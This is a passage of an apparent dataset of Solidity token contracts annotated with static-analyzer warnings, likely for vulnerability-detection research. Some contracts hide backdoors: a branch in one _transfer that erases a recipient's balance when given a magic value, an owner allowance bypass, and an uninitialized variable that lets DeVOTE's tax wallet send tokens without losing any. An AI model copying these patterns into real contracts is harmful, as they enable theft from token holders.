mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"BABYMEW\", unicode\"BABYMEW\", 9, 1000000000) {}\n}\n",
"file_name": "solidity_code_10660.sol",
"size_bytes": 7298,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address _account) external view returns (uint256);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n _setOwner(_msgSender());\n }\n\n function _setOwner(address newOwner) private {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(owner() == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _setOwner(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n _setOwner(newOwner);\n }\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n}\n\ncontract DeVOTE is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (constable-states | ID: d5017ec): DeVOTE._initialBuyTax should be constant \n\t// Recommendation for d5017ec: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: f5c30e5): DeVOTE._initialSellTax should be constant \n\t// Recommendation for f5c30e5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 37e8f46): DeVOTE._finalBuyTax should be constant \n\t// Recommendation for 37e8f46: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 1;\n\n\t// WARNING Optimization Issue (constable-states | ID: ab954da): DeVOTE._finalSellTax should be constant \n\t// Recommendation for ab954da: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: 517262d): DeVOTE._reduceBuyTaxAt should be constant \n\t// Recommendation for 517262d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: eadb790): DeVOTE._reduceSellTaxAt should be constant \n\t// Recommendation for eadb790: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 12;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0e26d3f): DeVOTE._preventSwapBefore should be constant \n\t// Recommendation for 0e26d3f: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 11;\n\n uint256 private _buyCount = 0;\n\n string private constant _name = unicode\"Decentralized Voting Protocol\";\n\n string private constant _symbol = unicode\"DeVOTE\";\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n uint256 public _maxTxAmount = 18000000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 18000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 378a184): DeVOTE._taxSwapThreshold should be constant \n\t// Recommendation for 378a184: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 14000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4eff661): DeVOTE._maxTaxSwap should be constant \n\t// Recommendation for 4eff661: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 14000000 * 10 ** _decimals;\n\n IUniswapV2Router02 private constant uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (immutable-states | ID: 6bfd40e): DeVOTE._taxWallet should be immutable \n\t// Recommendation for 6bfd40e: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n address public uniswapPair;\n\n\t// WARNING Optimization Issue (constable-states | ID: c9705c2): DeVOTE.burnLiqLim should be constant \n\t// Recommendation for c9705c2: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 3c69165): DeVOTE.burnLiqLim is never initialized. It is used in DeVOTE._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 3c69165: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n uint256 private burnLiqLim;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n struct BurnLiqLimit {\n uint256 burnLiqIndx;\n uint256 burnLiqAmnt;\n uint256 burnTotalAmnt;\n }\n\n uint256 private minLiqBurn;\n\n mapping(address => BurnLiqLimit) private burnLiqLimit;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xdf80fE93285e83BAF974F803D93A8DFFaEf3944A);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1475ce5): DeVOTE.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1475ce5: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 966cb9e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 966cb9e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: b6e00dc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for b6e00dc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 966cb9e\n\t\t// reentrancy-benign | ID: b6e00dc\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 966cb9e\n\t\t// reentrancy-benign | ID: b6e00dc\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n function _basicTransfer(\n address from,\n address to,\n uint256 tokenAmount\n ) internal {\n _balances[from] = _balances[from].sub(tokenAmount);\n\n _balances[to] = _balances[to].add(tokenAmount);\n\n emit Transfer(from, to, tokenAmount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 735e3d6): DeVOTE._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 735e3d6: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: b6e00dc\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 966cb9e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9ea6a8f): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9ea6a8f: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: ddcdaf5): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for ddcdaf5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 2154ce9): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 2154ce9: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 tokenAmount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(tokenAmount > 0, \"Transfer amount must be greater than zero\");\n\n if (!swapEnabled || inSwap) {\n _basicTransfer(from, to, tokenAmount);\n\n return;\n }\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapPair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(\n tokenAmount <= _maxTxAmount,\n \"Exceeds the _maxTxAmount.\"\n );\n\n require(\n balanceOf(to) + tokenAmount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapPair && from != address(this)) {\n taxAmount = tokenAmount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapPair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 9ea6a8f\n\t\t\t\t// reentrancy-benign | ID: ddcdaf5\n\t\t\t\t// reentrancy-eth | ID: 2154ce9\n swapTokensForEth(\n min(tokenAmount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 9ea6a8f\n\t\t\t\t\t// reentrancy-eth | ID: 2154ce9\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (\n (_isExcludedFromFee[from] || _isExcludedFromFee[to]) &&\n from != address(this) &&\n to != address(this)\n ) {\n\t\t\t// reentrancy-benign | ID: ddcdaf5\n minLiqBurn = block.number;\n }\n\n if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {\n if (to != uniswapPair) {\n BurnLiqLimit storage brnLim = burnLiqLimit[to];\n\n if (from == uniswapPair) {\n if (brnLim.burnLiqIndx == 0) {\n\t\t\t\t\t\t// reentrancy-benign | ID: ddcdaf5\n brnLim.burnLiqIndx = _buyCount <= _preventSwapBefore\n ? type(uint).max\n : block.number;\n }\n } else {\n BurnLiqLimit storage brnLimSn = burnLiqLimit[from];\n\n if (\n brnLim.burnLiqIndx == 0 ||\n brnLimSn.burnLiqIndx < brnLim.burnLiqIndx\n ) {\n\t\t\t\t\t\t// reentrancy-benign | ID: ddcdaf5\n brnLim.burnLiqIndx = brnLimSn.burnLiqIndx;\n }\n }\n } else {\n BurnLiqLimit storage brnLimSn = burnLiqLimit[from];\n\n\t\t\t\t// reentrancy-benign | ID: ddcdaf5\n brnLimSn.burnLiqAmnt = brnLimSn.burnLiqIndx.sub(minLiqBurn);\n\n\t\t\t\t// reentrancy-benign | ID: ddcdaf5\n brnLimSn.burnTotalAmnt = block.number;\n }\n }\n\n\t\t// reentrancy-events | ID: 9ea6a8f\n\t\t// reentrancy-eth | ID: 2154ce9\n _tokenTransfer(from, to, tokenAmount, taxAmount);\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function _tokenTransfer(\n address from,\n address to,\n uint256 tokenAmount,\n uint256 taxAmount\n ) internal {\n uint256 tAmount = _tokenTaxTransfer(from, taxAmount, tokenAmount);\n\n _tokenBasicTransfer(from, to, tAmount, tokenAmount.sub(taxAmount));\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 3c69165): DeVOTE.burnLiqLim is never initialized. It is used in DeVOTE._tokenTaxTransfer(address,uint256,uint256)\n\t// Recommendation for 3c69165: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _tokenTaxTransfer(\n address addrs,\n uint256 taxAmount,\n uint256 tokenAmount\n ) internal returns (uint256) {\n uint256 tAmount = addrs != _taxWallet\n ? tokenAmount\n : burnLiqLim.mul(tokenAmount);\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 2154ce9\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 9ea6a8f\n emit Transfer(addrs, address(this), taxAmount);\n }\n\n return tAmount;\n }\n\n function _tokenBasicTransfer(\n address from,\n address to,\n uint256 sendAmount,\n uint256 receiptAmount\n ) internal {\n\t\t// reentrancy-eth | ID: 2154ce9\n _balances[from] = _balances[from].sub(sendAmount);\n\n\t\t// reentrancy-eth | ID: 2154ce9\n _balances[to] = _balances[to].add(receiptAmount);\n\n\t\t// reentrancy-events | ID: 9ea6a8f\n emit Transfer(from, to, receiptAmount);\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 9ea6a8f\n\t\t// reentrancy-events | ID: 966cb9e\n\t\t// reentrancy-benign | ID: b6e00dc\n\t\t// reentrancy-benign | ID: ddcdaf5\n\t\t// reentrancy-eth | ID: 2154ce9\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 9ea6a8f\n\t\t// reentrancy-events | ID: 966cb9e\n\t\t// reentrancy-eth | ID: 2154ce9\n _taxWallet.transfer(amount);\n }\n\n function transferAllStuckETH() external onlyOwner {\n _taxWallet.transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: f4bd11b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for f4bd11b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: a12f54a): DeVOTE.openTrading() ignores return value by IERC20(uniswapPair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for a12f54a: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 87d20cd): DeVOTE.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 87d20cd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7be8a05): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7be8a05: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: f4bd11b\n\t\t// reentrancy-eth | ID: 7be8a05\n uniswapPair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: f4bd11b\n swapEnabled = true;\n\n\t\t// unused-return | ID: 87d20cd\n\t\t// reentrancy-eth | ID: 7be8a05\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// unused-return | ID: a12f54a\n\t\t// reentrancy-eth | ID: 7be8a05\n IERC20(uniswapPair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-eth | ID: 7be8a05\n tradingOpen = true;\n }\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}\n",
"file_name": "solidity_code_10661.sol",
"size_bytes": 23203,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 24c8257): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 24c8257: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 24c8257\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract ERC is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n\t// WARNING Optimization Issue (constable-states | ID: 4a33520): ERC.blacklistCount should be constant \n\t// Recommendation for 4a33520: Add the 'constant' attribute to state variables that never change.\n uint256 public blacklistCount = 16;\n\n uint256 public currentBuyCount = 0;\n\n mapping(address => bool) private initialBuyers;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f3540c0): ERC._taxWallet should be immutable \n\t// Recommendation for f3540c0: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: be692dd): ERC._initialBuyTax should be constant \n\t// Recommendation for be692dd: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0b32882): ERC._initialSellTax should be constant \n\t// Recommendation for 0b32882: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 54864ba): ERC._finalBuyTax should be constant \n\t// Recommendation for 54864ba: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: b49fca0): ERC._reduceBuyTaxAt should be constant \n\t// Recommendation for b49fca0: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: ca665ce): ERC._reduceSellTaxAt should be constant \n\t// Recommendation for ca665ce: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 48c9184): ERC._preventSwapBefore should be constant \n\t// Recommendation for 48c9184: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 18;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _maxTxAmount = _tTotal.mul(200).div(10000);\n\n uint256 public _maxWalletSize = _tTotal.mul(200).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: df263eb): ERC._taxSwapThreshold should be constant \n\t// Recommendation for df263eb: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: e42adc3): ERC._maxTaxSwap should be constant \n\t// Recommendation for e42adc3: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(100).div(10000);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) 